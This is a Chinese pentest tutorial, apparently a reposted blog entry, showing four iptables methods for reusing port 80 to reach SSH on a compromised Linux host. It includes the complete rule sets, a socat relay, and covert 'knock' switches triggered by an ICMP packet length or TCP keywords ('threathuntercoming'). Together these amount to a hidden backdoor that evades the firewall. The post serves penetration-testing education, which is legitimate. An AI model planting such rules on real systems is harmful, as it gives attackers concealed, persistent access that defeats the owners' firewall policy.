icmp端口_Linux利用iptables做端口复用

目录

iptables做端口复用

方案一:(根据源地址做端口复用)

方案二:(根据源地址源端口做端口复用)

方案三:(利用ICMP协议做遥控开关)

方案四:(利用TCP协议做遥控开关)

ac207c4bd0dbea7d2556594ca10b4984.gif 45827df13cf3bb41546f3c424908f1d6.gif

iptables做端口复用

在做渗透测试的过程中,我们经常会遇到下面这种问题。

目标主机是Linux系统,目标主机防火墙有严格的限制,只允许80端口的流量进入。我们拿到了目标主机的Webshell并且拿到了SSH的账号密码。但是我们不能通过22端口远程连接,必须得利用80端口做端口复用连接。

现在我们的思路就是利用Linux的iptables防火墙的nat表的PREROUTING 链做端口复用,因为nat 表的 PREROUTING 链会在路由决策之前被处理。关于iptables:Linux中的防火墙(Netfilter、Iptables、Firewalld)

(https://xie1997.blog.csdn.net/article/details/82662026)

环境拓扑图如下:

93282ed432ba46778ac46db098d444da.png

b1377c2d6695f5d7d297e406452d7f75.png

0f4b08e56a7766665d8136674a90bea8.gif

方案一:(根据源地址做端口复用)

以下这条命令的作用是将来自192.168.10.13的访问80端口的流量都重定向到22端口。

iptables -t nat -A PREROUTING -p tcp -s 192.168.10.13 --dport 80 -j REDIRECT --to-port 22

ce8e58f279e2e08e1a9e0ffca9ae6af5.png

连接目标主机的80端口,会被重定向到22端口

e3926c07780fa91e863401e94373913d.png

但是这样做有一个问题就是,我们访问目标主机80端口的流量都会被转给22端口。如果我们不用访问该HTTP服务的话,这是一个好的办法。实战中,我们一般是用VPS连接不用访问HTTP服务,所以在实战中该方法用的比较多。

a52d4b25a09e29918240c4f5c7c40589.png

0f4b08e56a7766665d8136674a90bea8.gif

方案二:(根据源地址源端口做端口复用)

以下的命令是根据源地址源端口做端口复用,也就是只有来自192.168.10.13主机的33333端口的访问80端口的流量会被转给22端口。

iptables -t nat -A PREROUTING -p tcp -s 192.168.10.13 --sport 33333 --dport 80 -j REDIRECT --to-port 22

b1fee8c428044b055626621531b3e752.png

然后我们本机先用socat将本地44444端口的流量以源端口33333访问192.168.10.129的80,然后我们SSH本地的44444端口即可。

nohup socat tcp-listen:44444,fork,reuseaddr tcp:192.168.10.129:80,sourceport=33333,reuseaddr &

ssh -p 44444 root@127.0.0.1

c9844f112035ffe37993c45f69c848ce.png

但是这样做有一个问题就是不支持多连接 如果想创建两个 SSH 连接就会出错,因为本地的 33333 端口已经被第一个 SSH 连接占用了。

0f4b08e56a7766665d8136674a90bea8.gif

方案三:(利用ICMP协议做遥控开关)

利用 ICMP 做遥控开关。缺点在于如果目标在内网,你是无法直接 ping 到它的。

iptables -t nat -N LETMEIN             #创建端口复用链

iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22   #创建端口复用规则,将流量转发至 22 端口

iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1139 -m recent --set --name letmein --rsource -j ACCEPT  #开启开关,如果接收到一个长为 1139 的 ICMP 包,则将来源 IP 添加到加为letmein的列表中

iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1140 -m recent --name letmein --remove -j ACCEPT          #关闭开关,如果接收到一个长为 1140 的 ICMP 包,则将来源 IP 从 letmein 列表中去掉

iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN    #如果发现 SYN 包的来源 IP 处于 letmein 列表中,将跳转到 LETMEIN 链进行处理,有效时间为 3600 秒

4f072ac51133c7257511885448f1ad9d.png

开启复用

ping -c 1 -s 1111 192.168.10.129        #向目标发送一个长度为 1111 的 ICMP 数据包(加上包头28,总长度实际为1139)

关闭复用

ping -c 1 -s 1112 192.168.10.129        #向目标发送一个长度为 1112 的 ICMP 数据包(加上包头 28,总长度实际为 1140)

 1d42b8b5e332ff33ddbcea62e14e1e55.png

0f4b08e56a7766665d8136674a90bea8.gif

方案四:(利用TCP协议做遥控开关)

利用 tcp 数据包中的关键字做遥控开关,不怕目标在内网。

iptables -t nat -N LETMEIN       #创建端口复用链

iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22  #创建端口复用规则,将流量转发至 22 端口

iptables -A INPUT -p tcp -m string --string 'threathuntercoming' --algo bm -m recent --set --name letmein --rsource -j ACCEPT   #开启开关,如果接收到一个含有threathuntercoming的TCP包,则将来源 IP 添加到加为letmein的列表中

iptables -A INPUT -p tcp -m string --string 'threathunterleaving' --algo bm -m recent --name letmein --remove -j ACCEPT      #关闭开关,如果接收到一个含有threathunterleaving的TCP包,则将来源 IP 从letmein的列表中移除

iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN    #如果发现 SYN 包的来源 IP 处于 letmein 列表中,将跳转到 LETMEIN 链进行处理,有效时间为 3600 秒

0f01a9ea714b1d311232259c1a6bb3ca.png

开启复用,开启后本机到目标 80 端口的流量将转发至目标的 SSH

echo threathuntercoming | socat - tcp:192.168.10.129:80

关闭复用,关闭后,80 恢复正常:

echo threathunterleaving | socat - tcp:192.168.10.129:80

a3e6ae4dabb48ff29e968b34a2e41cfa.png

5455e2a2e8b6080d6b918ceaaf8ffb51.gif

来源:谢公子的博客

责编:凉粉

b5b5836211e1b2e663f40bb5ee201d60.png b5b5836211e1b2e663f40bb5ee201d60.png f2448780d6a863c798f2616852276407.png由于文章篇幅较长,请大家耐心。如果文中有错误的地方,欢迎指出。有想转载的,可以留言我加白名单。最后,欢迎加入谢公子的小黑屋(安全交流群)(QQ群:783820465) 519d66fc3372cb7ea7dcd2a4c6a66f59.gif b5b5836211e1b2e663f40bb5ee201d60.png b5b5836211e1b2e663f40bb5ee201d60.png
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值